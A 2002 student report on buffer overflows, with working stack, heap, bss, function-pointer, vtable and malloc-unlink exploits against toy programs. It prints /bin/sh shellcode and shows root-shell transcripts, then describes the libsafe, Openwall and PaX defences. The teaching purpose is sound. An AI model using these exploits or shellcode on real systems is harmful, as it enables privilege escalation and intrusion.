Pierre-Alain FAYOLLE, Vincent GLAUME
ENSEIRB
Networks and Distributed Systems
2002
This kind of vulnerability has been found on largely spread and used daemons such as bind, wu-ftpd, or various telnetd implementations, as well as on applications such as Oracle or MS Outlook Express...
The variety of vulnerable programs and possible ways to exploit them make clear that buffer overflows represent a real threat. Generally, they allow an attacker to get a shell on a remote machine, or to obtain superuser rights. Buffer overflows are commonly used in remote or local exploits.
Thus, we will introduce in this document the way a process is mapped in the machine memory, as well as the buffer notion; then we will focus on two kinds of exploits based on buffer overflow : stack overflows and heap overflows.
The stack is used to store function arguments, local variables, or some information allowing to retrieve the stack state before a function call... This stack is based on a LIFO (Last In, First Out) access system, and grows toward the low memory addresses.
Dynamically allocated variables are found in the heap; typically, a pointer refers to a heap address, if it is returned by a call to the malloc function.
Short examples may be really helpful for a better understanding; let us see where each kind of variable is stored:
int main(){ char * tata = malloc(3); ... }
tata
points to an address wich is in the heap.
char global; int main (){ ... }
int main(){ static int bss_var; ... }
global
and bss_var
will be in .bss
char global = 'a'; int main(){ ... }
int main(){ static char data_var = 'a'; ... }
global
and data_var
will be in .data.
On a Unix system, a function call may be broken up in three steps:
Let us consider this code:
int toto(int a, int b, int c){ int i=4; return (a+i); } int main(int argc, char **argv){ toto(0, 1, 2); return 0; }
We now disassemble the binary using gdb, in order to get more details about these three steps. Two registers are mentionned here: EBP points to the current frame (frame pointer), and ESP to the top of the stack.
First, the main function:
(gdb) disassemble main Dump of assembler code for function main: 0x80483e4 <main>: push %ebp 0x80483e5 <main+1>: mov %esp,%ebp 0x80483e7 <main+3>: sub $0x8,%esp
That is the main function prologue. For more details about a function prologue, see further on (the toto() case).
0x80483ea <main+6>: add $0xfffffffc,%esp 0x80483ed <main+9>: push $0x2 0x80483ef <main+11>: push $0x1 0x80483f1 <main+13>: push $0x0 0x80483f3 <main+15>: call 0x80483c0 <toto>
The toto() function call is done by these four instructions: its parameters are piled (in reverse order) and the function is invoked.
0x80483f8 <main+20>: add $0x10,%espThis instruction represents the toto() function return in the main() function: the stack pointer points to the return address, so it must be incremented to point before the function parameters (the stack grows toward the low addresses!). Thus, we get back to the initial environment, as it was before toto() was called.
0x80483fb <main+23>: xor %eax,%eax 0x80483fd <main+25>: jmp 0x8048400 <main+28> 0x80483ff <main+27>: nop 0x8048400 <main+28>: leave 0x8048401 <main+29>: ret End of assembler dump.The last two instructions are the main() function return step.
(gdb) disassemble toto Dump of assembler code for function toto: 0x80483c0 <toto>: push %ebp 0x80483c1 <toto+1>: mov %esp,%ebp 0x80483c3 <toto+3>: sub $0x18,%esp
This is our function prologue: %ebp initially points to the environment; it is piled (to save this current environment), and the second instruction makes %ebp points to the top of the stack, which now contains the initial environment address. The third instruction reserves enough memory for the function (local variables).
0x80483c6 <toto+6>: movl $0x4,0xfffffffc(%ebp) 0x80483cd <toto+13>: mov 0x8(%ebp),%eax 0x80483d0 <toto+16>: mov 0xfffffffc(%ebp),%ecx 0x80483d3 <toto+19>: lea (%ecx,%eax,1),%edx 0x80483d6 <toto+22>: mov %edx,%eax 0x80483d8 <toto+24>: jmp 0x80483e0 <toto+32> 0x80483da <toto+26>: lea 0x0(%esi),%esiThese are the function instructions...
0x80483e0 <toto+32>: leave 0x80483e1 <toto+33>: ret End of assembler dump. (gdb)The return step (ar least its internal phase) is done with these two instructions. The first one makes the %ebp and %esp pointers retrieve the value they had before the prologue (but not before the function call, as the stack pointers still points to an address which is lower than the memory zone where we find the toto() parameters, and we have just seen that it retrieves its initial value in the main() function). The second instruction deals with the instruction register, which is visited once back in the calling function, to know which instruction must be executed.
That is possible because, when a function returns, the next instruction address is copied from the stack to the EIP pointer (it was piled impicitly by the call instruction). As this address is stored in the stack, if it is possible to corrupt the stack to access this zone and write a new value there, it is possible to specify a new instruction address, corresponding to a memory zone containing malevolent code.
We will now deal with buffers, which are commonly used for such stack attacks.
First, the size problem makes restricting the memory allocated to a buffer, to prevent any overflow, quite difficult. That is why some trouble may be observed, for instance when strcpy is used without care, which allows a user to copy a buffer into another smaller one !
Here is an illustration of this memory organization: the first example is the storage of the wxy buffer, the second one is the storage of two consecutive buffers, wxy and then abcde.
#include <stdio.h> int main(int argc, char **argv){ char jayce[4]="Oum"; char herc[8]="Gillian"; strcpy(herc, "BrookFlora"); printf("%s\n", jayce); return 0; }
This copy causes a buffer overflow, and here is the memory organization before and after the call to strcpy:
Here is what we see when we run our program, as expected:
alfred@atlantis:~$ gcc jayce.c alfred@atlantis:~$ ./a.out ra alfred@atlantis:~$
That is the kind of vulnerability used in buffer overflow exploits.
This means that when a program is run, the next instruction address is stored in the stack, and consequently, if we succeed in modifying this value in the stack, we may force the EIP to get the value we want. Then, when the function returns, the program may execute the code at the address we have specified by overwriting this part of the stack.
Nevertheless, it is not an easy task to find out precisely where the information is stored (e.g the return address).
It is much more easier to overwrite a whole (larger) memory section, setting each word (block of four bytes) value to the choosen instruction address, to increase our chances to reach the right byte.
When we compare this with our first example (jayce.c, see here ), we understand the danger: if a function allows us to write in a buffer without any control of the number of bytes we copy, it becomes possbile to crush the environment address, and, more interesting, the next instruction address (i on figure 2.1).
That is the way we can expect to execute some malevolent code if it is cleverly placed in memory, for instance in the overflowed buffer if it is large enough to contain our shellcode, but not too large, to avoid a segmentation fault...
Thus, when the function returns, the corrupted address will be copied over EIP, and will point to the target buffer that we overflow; then, as soon as the function terminates, the instructions within the buffer will be fetched and executed.
#include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }Let us compile, and execute:
alfred@atlantis:~$ gcc bof.c alfred@atlantis:~$ su Password: albator@atlantis:~# chown root.root a.out albator@atlantis:~# chmod u+s a.out alfred@atlantis:~$ whoami alfred alfred@atlantis:~$ ./a.out sh-2.05$ whoami root
Two dangers are emphasized here: the stack overflow question, which has been developped so far, and the SUID binaries, which are executed with root rights ! The combination of these elements give us a root shell here.
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv){ char buffer[96]; printf("- %p -\n", &buffer); strcpy(buffer, getenv("KIRIKA")); return 0; }
We print the address of buffer
to make the exploit easier here, but this is not necessary as gdb or brute-forcing may help us here too.
When the KIRIKA
environment variable is returned by getenv
, it is copied into buffer, which will be overflowed here and so, we will get a shell.
#include <stdlib.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ); return 0; }
This program requires two arguments:
large_string
) is filled with the address of the target buffer first, and then the shellcode
is copied at its beginning. Unless we are very lucky, we will need a first
try to discover the address we will provide later to attack with success.
execle
is called. It is one of the exec
functions that allows to specify an environment, so that the called program
will have the correct corrupted environment variable.
alfred@atlantis:~/$ whoami alfred alfred@atlantis:~/$ ./exe ./toto 0xbffff9ac - 0xbffff91c - Segmentation fault alfred@sothis:~/$ ./exe ./toto 0xbffff91c - 0xbffff91c - sh-2.05# whoami root sh-2.05#
The first attempt shows a segmentation fault, which means the address
we have provided does not fit, as we should have expected. Then, we try again,
fitting the second argument to the right address we have obtained with this
first try (0xbffff9ac
): the exploit has succeeded.
gets
. This is another libc function to avoid (prefer fgets
).
#include <stdio.h> int main(int argc, char **argv){ char buffer[96]; printf("- %p -\n", &buffer); gets(buffer); printf("%s", buffer); return 0; }
The code exploiting this vulnerability (exe.c):
#include <stdlib.h> #include <stdio.h> int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[1], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; printf("%s", large_string); return 0; }
All we have to do now is to have a first try to discover the good buffer address, and then we will be able to make the program run ls:
alfred@atlantis:~/$ ./exe 0xbffff9bc | ./toto - 0xbffff9bc - exe exe.c toto toto.c alfred@atlantis:~/$
We will see in the next chapter how it is possible to corrupt the heap, and the numerous possibilities it offers.
... static char buf[BUFSIZE]; static char *ptr_to_something; ...The buffer (
buf
) and the pointer (ptr_to_something
) could be both in the bss segment (case of the example), or both in the
data segment, or both in the heap segment, or the buffer could be in the
bss segment and the pointer in data segment. This order is very important
because the heap grows upward (in contrary to the stack), therefore if we
want to overwrite the pointer it should be located after the overflowed buffer.
Vulprog1.c /* * Copyright (C) January 1999, Matt Conover & w00w00 Security Development * * This is a typical vulnerable program. It will store user input in a * temporary file. argv[1] of the program is will have some value used * somewhere else in the program. However, we can overflow our user input * string (i.e. the gets()), and have it overwrite the temporary file * pointer, to point to argv[1] (where we can put something such as * "/root/.rhosts", and after our garbage put a '#' so that our overflow * is ignored in /root/.rhosts as a comment). We'll assume this is a * setuid program. */ 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <string.h> 5 #include <errno.h> 6 #define ERROR -1 7 #define BUFSIZE 16 /* * Run this vulprog as root or change the "vulfile" to something else. * Otherwise, even if the exploit works it won't have permission to * overwrite /root/.rhosts (the default "example"). */ 8 int main(int argc, char **argv) { 9 FILE *tmpfd; 10 static char buf[BUFSIZE], *tmpfile; 11 if (argc <= 1) { 12 fprintf(stderr, "Usage: %s <garbage>\n", argv[0]); 13 exit(ERROR); } 14 tmpfile = "/tmp/vulprog.tmp"; /* no, this is no a temp file vul */ 15 printf("before: tmpfile = %s\n", tmpfile); /* okay, now the program thinks that we have access to argv[1] */ 16 printf("Enter one line of data to put in %s: ", tmpfile); 17 gets(buf); 18 printf("\nafter: tmpfile = %s\n", tmpfile); 19 tmpfd = fopen(tmpfile, "w"); 20 if (tmpfd == NULL) { 21 fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); 22 exit(ERROR); } 23 fputs(buf, tmpfd); 24 fclose(tmpfd); }
Buf
(line 10) is our entry in the program; it is allocated in the bss segment. The size of this buffer is limited here by BUFSIZE
(lines 7, 10).
The program is waiting for input from the user [17]. The input will be stored in buf
(line 17) through gets()
.
It is possible to overflow buf since gets()
do not verify the size of the input.
Just after buf, tmpfile is allocated (line 10). Overflowing buf will let us overwrite the pointer tmpfile
and make it point to what we want instead (for example: .rhosts
or /etc/passwd
).
Vulprog1
needs to be run as root or with the SUID bit in order to make the exploit interesting.
Exploit1.c 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <string.h> 5 #define ERROR -1 6 #define VULPROG "./vulnerable1" 7 #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */ /* get value of sp off the stack (used to calculate argv[1] address) */ 8 u_long getesp() { 9 __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */ } 10 int main(int argc, char **argv) { 11 u_long addr; 12 register int i; 13 int mainbufsize; 14 char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ 15 if (argc <= 1) { 16 fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]); 17 exit(ERROR); } /* ------------------------------------------------------ */ 18 memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); 19 memset(buf + strlen(buf), 'A', DIFF); 20 addr = getesp() + atoi(argv[1]); /* reverse byte order (on a little endian system) */ 21 for (i = 0; i < sizeof(u_long); i++) 22 buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); 23 mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; 24 mainbuf = (char *)malloc(mainbufsize); 25 memset(mainbuf, 0, sizeof(mainbuf)); 26 snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); 27 printf("Overflowing tmpaddr to point to 0x%lx, check %s after.\n\n", addr, VULFILE); 28 system(mainbuf); 29 return 0; }
vulprog1
will wait for input by the user.
The shell command echo 'toto' | ./vulprog1
will execute vulprog1 and feed buf with toto
. Garbage is passed to vulprog1 via its argv[1]; although vulprog1 does not
process its argv[1] it will stores it in the process memory. It will be
accessed through addr (lines 11, 20). We don’t know exactly what is the offset
from esp to argv1 so we proceed by brute forcing. It means that we try several
offsets until we find the good one (a Perl script with a loop can be used,
for example). Line 28 we execute mainbuf
which is : echo buf | ./vulprog1 root/.rhosts
Buf contains the datas we want to write in the file (16 bytes) after it
will contain the pointer to the argv[1] of vulprog1 (addr is the address
of argv[1] in vulprog1) So when fopen()
(vulprog1.c, line 19) will be called with tmpfile, tmpfile points to the string passed by argv[1] (e.g /root/.rhosts
).
int (*func) (char * string)
, func is a pointer to a function.
It is equivalent to say that func will keep the address of a function whose prototype is something like : int the_func (char *string)
. The function func()
is known at run-time.
Vulprog2.c /* Just the vulnerable program we will exploit. */ /* To compile use: gcc -o exploit1 exploit1.c -ldl */ 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <string.h> 5 #include <dlfcn.h> 6 #define ERROR -1 7 #define BUFSIZE 16 8 int goodfunc(const char *str); /* funcptr starts out as this */ 9 int main(int argc, char **argv) 10 { 11 static char buf[BUFSIZE]; 12 static int (*funcptr)(const char *str); 13 if (argc <= 2) 14 { 15 fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]); 16 exit(ERROR); 17 } 18 printf("system()'s address = %p\n", &system); 19 funcptr = (int (*)(const char *str))goodfunc; 20 printf("before overflow: funcptr points to %p\n", funcptr); 21 memset(buf, 0, sizeof(buf)); 22 strncpy(buf, argv[1], strlen(argv[1])); 23 printf("after overflow: funcptr points to %p\n", funcptr); 24 (void)(*funcptr)(argv[2]); 25 return 0; 26 } /* ---------------------------------------------- */ /* This is what funcptr should/would point to if we didn't overflow it */ 27 int goodfunc(const char *str) 28 { 29 printf("\nHi, I'm a good function. I was called through funcptr.\n"); 30 printf("I was passed: %s\n", str); 31 return 0; }The entry to the vulnerable program is at lines (11) and (12) because there we have a buffer and a pointer allocated in the bss segment. Furthermore the size taken to control the copy in memory is the size of the input (22). Thus we can easily overflow the buffer buf (22) by passing an argv(1) with a size greater than the size of buf. We can then write inside
funcptr
the address of the function we want to fetch to or the shellcode we want to execute.
Exploit2.c /* * Copyright (C) January 1999, Matt Conover & w00w00 Security Development * * Demonstrates overflowing/manipulating static function pointers in the * bss (uninitialized data) to execute functions. * * Try in the offset (argv[2]) in the range of 140-160 * To compile use: gcc -o exploit1 exploit1.c */ 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <string.h> 5 #define BUFSIZE 16 /* the estimated diff between funcptr/buf in vulprog */ 6 #define VULPROG "./vulprog2" /* vulnerable program location */ 7 #define CMD "/bin/sh" /* command to execute if successful */ 8 #define ERROR -1 9 int main(int argc, char **argv) 10 { 11 register int i; 12 u_long sysaddr; 13 static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; 14 if (argc <= 1) 15 { 16 fprintf(stderr, "Usage: %s <offset>\n", argv[0]); 17 fprintf(stderr, "[offset = estimated system() offset in vulprog\n\n"); 18 exit(ERROR); 19 } 20 sysaddr = (u_long)&system - atoi(argv[1]); 21 printf("Trying system() at 0x%lx\n", sysaddr); 22 memset(buf, 'A', BUFSIZE); /* reverse byte order (on a little endian system) */ 23 for (i = 0; i < sizeof(sysaddr); i++) 24 buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; 25 execl(VULPROG, VULPROG, buf, CMD, NULL); 26 return 0; 27 }The principle is basically the same as the one explained in the heap overflow section. Line 13 we allocate the buffer, the end of the buffer contains the address of the function that
funcptr
should point to.
Line (20) could seem to be a little weird; its goal is to guess the address of /bin/sh
which is passed to VULPROG(==./vulprog2) as an argv (line (25)).
We could try to guess it with brute forcing. For example:
### bruteForce.pl ### for ($i=110; $i < 200; $i++) system(``./exploit2'' $i); ### end ###
Example1.cpp: 1 class A { 2 public: 3 void __cdecl m() {cout << "A::m()"<< endl; } 4 int ad; 5 }; 6 class B : public A { 7 public: 8 void __cdecl m() {cout << "B::m()"<< endl; } 9 int bd; 10 }; 11 void f ( A _ p ) 12 { 13 p->ad = 5; 14 p->m(); 15 } 16 int main() 17 { 18 A a; 19 B b; 20 f(&a); 21 f(&b); 22 return 0; 23 } Results of execution: Prompt> gcc test.cpp -o test Prompt> ./test A::m() A::m()The problem is to know what code will be executed when we call
m()
. The execution shows that the code of A::m()
is executed.
If we have a look at the second example now:
Example2.cpp: 1 class A { 2 public: 3 virtual void __cdecl m() { cout << "A::m()"<< endl; } 4 int ad; 5 }; 6 class B : public A { 7 public: 8 virtual void __cdecl m() { cout << "B::m()"<< endl; } 9 int bd; 10};Results of execution:
Prompt> gcc test.cpp –o test Prompt> ./test A::m() B::m()This time
A::m()
and B::m()
are executed.
The problem of the association of a function body to a function call is called binding. In c++
there are two types of binding:
C++
, as shown in the second example, can implement late binding
therefore there must be some mechanism to determine the type of the object
at runtime and call the correct function body. visual c++ 6.0
the Vtable is put at the beginning of the object (look at figure: 3.3); whereas it is put at the end of the object with the gnu compiler gcc (look at figure: 3.4).
To prove the last statement we add the following lines to main():
cout << "Size of a: " << sizeof (a) << " Offset of ad: " << offsetof (A, ad) << endl; cout << "Size of b: " << sizeof (b) << " Offset of ad: " << offsetof (B, ad) << " Offset of bd: " << offsetof (B, bd) << endl;So that we can find the position of ad and bd inside the objects. We obtain the following results:
c++
compiler:
Size of a: 8 Offset of ad: 4
Size of b: 12 Offset of ad: 4 Offset of bd: 8
g++
part of gcc 3.0.3:
Size of a: 8 Offset of ad: 0
Size of b: 12 Offset of ad: 0 Offset of bd: 8
1 void print vtable ( A *pa ) 2 { 3 // p sees pa as an array of dwords 4 unsigned * p = reinterpret cast<unsigned *>(pa); 5 // vt sees vtable as an array of pointers 6 void ** vt = reinterpret cast<void **>(p[0]); 7 cout << hex << "vtable address = "<< vt << endl; 8 }Results (under Linux with gcc):
Size of a: 8 Offset of ad: 0 Size of b: 12 Offset of ad: 0 Offset of bd: 8 vtable address = 0x4000ab40 address of ad: 0xbffffa94 vtable address = 0xbffffaa8 address of ad: 0xbffffa88It confirms the position of the Vtable with the gcc compiler.
Example of a buffer damaged program (overflow1.cpp): 1 #include <iostream> 2 class A{ 3 private: 4 char str[11]; 5 public: 6 void setBuffer(char * temp){strcpy (str, temp);} 7 virtual void printBuffer(){cout << str << endl ;} 8 }; 9 void main (void){ 10 A *a; 11 a = new A; 12 a->setBuffer("coucou"); 13 a->printBuffer(); 14 }class A contains a buffer named str [4]; the unsafe strcpy [6] is used to feed the buffer. There is an obvious (although rather theoritical) buffer overflow if we call setBuffer() with a string greater than 11 [12]. For example, if we modify [12] by
a->setBuffer(``coucoucoucoucoucoucoucoucou'');
we obtain :
Prompt> segmentation fault
.
This is a normal behavior since we have overwritten the address of printBuffer()
in the Vtable.
We will build now a more practical example, where we will take the control of the flow of the program.
The goal is to build a buffer bigger than the one expected and fill it with :
BuildBuffer.c 1 char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddress) { 2 char * outputBuffer; 3 unsigned int * internalBuffer; 4 unsigned int offsetShellCode = (unsigned int)vptrOffset - 1; 5 int i=0; 6 outputBuffer = (char *)malloc(vptrOffset + 4 + 1); 7 for (i=0; i<vptrOffset; i++) outputBuffer[i]='\x90'; 8 internalBuffer = (unsigned int *)outputBuffer; 9 for (i=0;i<numberAddress;i++) internalBuffer[i]=bufferAddress + offsetShellCode; 10 internalBuffer = (unsigned int *)&outputBuffer[vptrOffset]; 11 *internalBuffer=bufferAddress; 12 outputBuffer[offsetShellCode] = '\xCC'; 13 outputBuffer[vptrOffset+4] = '\x00'; 14 return (outputBuffer); }The code above needs some explanations concerning its behaviour: Line [4] offsetShellCode is the offset from the beginning of the Buffer to the beginning of the Shell code which in our case will be the last byte of the buffer. In this (theoritical) example our code is
\xCC
[12], which is the INT_03
interruption. It is reserved for debuggers, and raises an interruption: Trace / breakpoint trap
. [7] sets the buffer we want to return with NOPs. In [11] we have overflown
the buffer and we write over the VPTR. Now the VPTR points to bufferAddress,
e.g the buffer we have overflown. But bufferAdress points to our shellcode
now [9]. Now, we provide a usage example for the code above: In line [12]
of overflow1.cpp, we replace: a->setBuffer(``coucou'');
by
a->setBuffer(builBuffer((unsigned int*)&(*a),32,4));
c++
, the favourite langage being for that kind of program being C in most cases.
Therefore the candidates for this exploit are not so common.
Then the C++
program should have at least one virtual methods, and at least one buffer.
Finally we should have the possibility to overflow that buffer (requires
the use in the program of functions such as strcpy, ...) Thus we can conclude
by the fact that this bug will remain very hard to exploit, although it is still possible.
struct malloc_chunk { size_t prev_size; // only used when previous chunk is free size_t size; // size of chunk in bytes + 2 status-bits struct malloc_chunk *fd; // only used for free chunks: pointer to next chunk struct malloc_chunk *bk; // only used for free chunks: pointer to previous chunk };The figure 3.7 explains the structure of a block, and is different whether the chunk is allocated or free.
Final_size = ( requested_size + 4 bytes ) rounded to the next multiple of 8
.
#define Final_size(req) (((req) + 4 + 7) & ~7)
Size is aligned on 8 bytes (for portability reasons), therefore the 2 less
significant bits of size are unused. In fact they are used for storing informations:
#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2These flags describe if the previous chunk is used (e.g not free) and if the associated chunk has been allocated via the memory mapping mechanism (the
mmap()
system call).
vul2.c 1 int main(void) 2 { 3 char * buf ; 4 char * buffer1 = (char *)malloc(666) ; 5 char * buffer2 = (char *)malloc(2); 6 printf(“Enter something: \n”); 7 gets(buf); 8 strcpy (buffer1, buf); 9 free(buffer1); 10 free(buffer2); 11 return (1); 12 } prompt> perl -e print ``a x 144'' | ./vul2 Enter something: Segmentation faultLine 8 can be used to overflow buffer1 with the buffer obtained line 7. This is possible since
gets()
is unsafe and does not process any bound checking. In fact we will overwrite
the tags (prev_size, size, fd, bk) of buffer2. But what is the interest and
how can we spawn a shell ? free()
is called line [9] for the first chunk it will look at the next chunk (e.g
the second chunk) to see whether it is in use or not. If this second chunk
is unused, the macro unlink()
will take it off of its doubly linked list and consolidate it with the chunk being freed.
SOMETHING & ~PREV_INUSE
.
Hence unlink()
will process the second chunk; if we call p2 the pointer to the second chunk:
(1) BK = p2->fd = addr of shell code; (2) FD = p2->bk = GOT entry of free - 12; (3) FD->bk = BK ó GOT entry of free - 12 + 12 = addr of shell code ; (4) BK->fd = FD;[3] comes from the fact that bk is the fourth field in the structure malloc_chunk:
struct malloc_chunk { INTERNAL_SIZE_T prev_size; // p + 4 bytes INTERNAL_SIZE_T size; // p + 8 bytes struct malloc_chunk * fd; // p + 12 bytes struct malloc_chunk * bk; };Finally the index of free in the GOT (that contained originally the address of free in memory) will contain the address of our shell code. This is exactly what we want, because when free is called to release the second chunk vul2.c [9], it will execute our shell code.
The following code ({\it exploit2.c}) implements the idea explained above in C code. Exploit2.c // code from vudo by MAXX see reference 1 #define FUNCTION_POINTER ( 0x0804951c ) #define CODE_ADDRESS ( 0x080495e8 + 2*4 ) #define VULNERABLE "./vul2" #define DUMMY 0xdefaced #define PREV_INUSE 0x1 char shellcode[] = /* the jump instruction */ "\xeb\x0appssssffff" /* the Aleph One shellcode */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main( void ) { char * p; char argv1[ 680 + 1 ]; char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1; /* the fd field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the bk field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the special shellcode */ memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); /* the padding */ memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) ); p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) ); /* the prev_size field of the second chunk */ *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; /* the size field of the second chunk */ *( (size_t *)p ) = (size_t)( -4 ); p += 4; /* the fd field of the second chunk */ *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; /* the bk field of the second chunk */ *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; /* the terminating NUL character */ *p = '\0'; /* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); }
Grsecurity offers a set of several Kernel patches, gathered in a single one, which offers among others the possibility to make the stack or the heap non-executable. Please note that we will not discuss whether it is a good idea or not, on a security point of view, to do so... This debate was initiated some time ago, it is up to you to know if this is worth or not.
strcpy(char *dest, const char *src)
strcat(char *dest, const char *src)
getwd(char *buf)
gets(char *s)
scanf(const char *format,...)
realpath(char *path, char resolved_path[])
sprintf(char *str, const char *format,...)
strcpy
:
char * strcpy(char * dest,const char *src) { char *tmp = dest; while ((*dest++ = *src++) != '\0') /* nothing */; return tmp; }In this implementation of
strcpy
the size of the dest
buffer is not a factor for deciding if we should copy more characters or
not. The only criterium for quitting the loop is the termination character
'\0'
.
char *strcpy(char *dest, const char *src) { ... 1 if ((len = strnlen(src, max_size)) == max_size) 2 _libsafe_die("Overflow caused by strcpy()"); 3 real_memcpy(dest, src, len + 1); 4 return dest; }
__libsafe_stackVariableP(dest)
. This function returns the distance (in fact the number of bytes) between
dest and the frame pointer in which dest resides. This value is obviously
the maximum size that could be used by dest without compromising the integrity
of the return address. __libsafe_stackVariableP(void *addr)
returns 0 if the addr does not reference to a valid address in stack.
__libsafe_stackVariableP(void *addr)
relies on __builtin_frame_address(le)
, which gives the address of the frame pointer for the level le. This function
is a property of the gcc compiler. At this stage there is something important
to notice: if the vulnerable program has been compiled with the option: --fomit-frame-pointer
or with optimisation options then libsafe is useless and will not work properly.
strnlen
returns the maximum value between the length of the
string src and max_size (see explanations above). If there was an attempt
to overflow the buffer, then strnlen()
would return max_size and the process would be stopped (__libsafe_die).
memcpy()
is called and will copy the string referenced by src to the address referenced by dest.
do_general_protection
function, which can detect segmentation faults.
CONFIG_GRKERNSEC_STACK
is defined when the Open Wall feature
has been activated. Some parts of the code have been skipped as we only want
an overview of the Open Wall way to proceed: asmlinkage void do_general_protection(struct pt_regs * regs, long error_code) { #ifdef CONFIG_GRKERNSEC_STACK unsigned long addr; #ifdef CONFIG_GRKERNSEC_STACK_GCC unsigned char insn; int err, count; #endif #endif if (regs->eflags & VM_MASK) goto gp_in_vm86; if (!(regs->xcs & 3)) goto gp_in_kernel;These are tests on the register storage during a system call. If none is verified, this means an unexpected memory area is accessed, and this launches a SIGSEGV. Else new memory management functions are called (see further).
#ifdef CONFIG_GRKERNSEC_STACK /* Check if it was return from a signal handler */ if ((regs->xcs & 0xFFFF) == __USER_CS) if (*(unsigned char *)regs->eip == 0xC3) if (!__get_user(addr, (unsigned long *)regs->esp)) { if ((addr & 0xFFFFFFFE) == MAGIC_SIGRETURN) { /* Call sys_sigreturn() or sys_rt_sigreturn() to restore the context */ [...] return; }This part mainly consists of assembly code, we do not want to get into it in details. We just note it is the beginning of the Open Wall action.
/* * * Check if we are returning to the stack area, which is only likely to happen * * when attempting to exploit a buffer overflow. * */ if ((addr & 0xFF800000) == 0xBF800000 || (addr >= PAGE_OFFSET - _STK_LIM && addr < PAGE_OFFSET)) security_alert("return onto stack by " DEFAULTSECMSG, "returns onto stack", DEFAULTSECARGS); }Here it is! Comments are explicit enough, we have found what we were looking for. This code tests if the address
addr
is located in the stack, using a mask. This is the case if it is between
0xBF800000 and 0xBFFFFFFF. So, if we are in the stack, an alert occurs.
#ifdef CONFIG_GRKERNSEC_STACK_GCC [...] } #endif #endif
Now we are back in the initial implementation of the function, as the #endif
mark the end of the Open Wall feature. So, if both tests at the beginning
of the function have failed, in an unpatched version, we arrive here:
current->thread.error_code = error_code; current->thread.trap_no = 13; force_sig(SIGSEGV, current); return; gp_in_vm86: handle_vm86_fault((struct kernel_vm86_regs *) regs, error_code); return; gp_in_kernel: { unsigned long fixup; fixup = search_exception_table(regs->eip); if (fixup) { regs->eip = fixup; return; } die("general protection fault", regs, error_code); } }
This shows which behaviour is expected by default in this function if no patch is applied. Depending of the memory state, an appropriate treatment is selected. Once again we are not interested in the details of these treatments.
do_general_protection
vm_area_struct
structure. One of its fields, vm_flags
, defines some permissions concerning the memory pages. These are checked in the PaX default page handler functionnalities.
do_page_fault
: redefinition of the original function
static inline pte_t * pax_get_pte(struct mm_struct *mm, unsigned long address)
static int pax_handle_read_fault(struct pt_regs *regs, unsigned long address)
static int pax_handle_opcode(struct task_struct *tsk, struct pt_regs *regs)
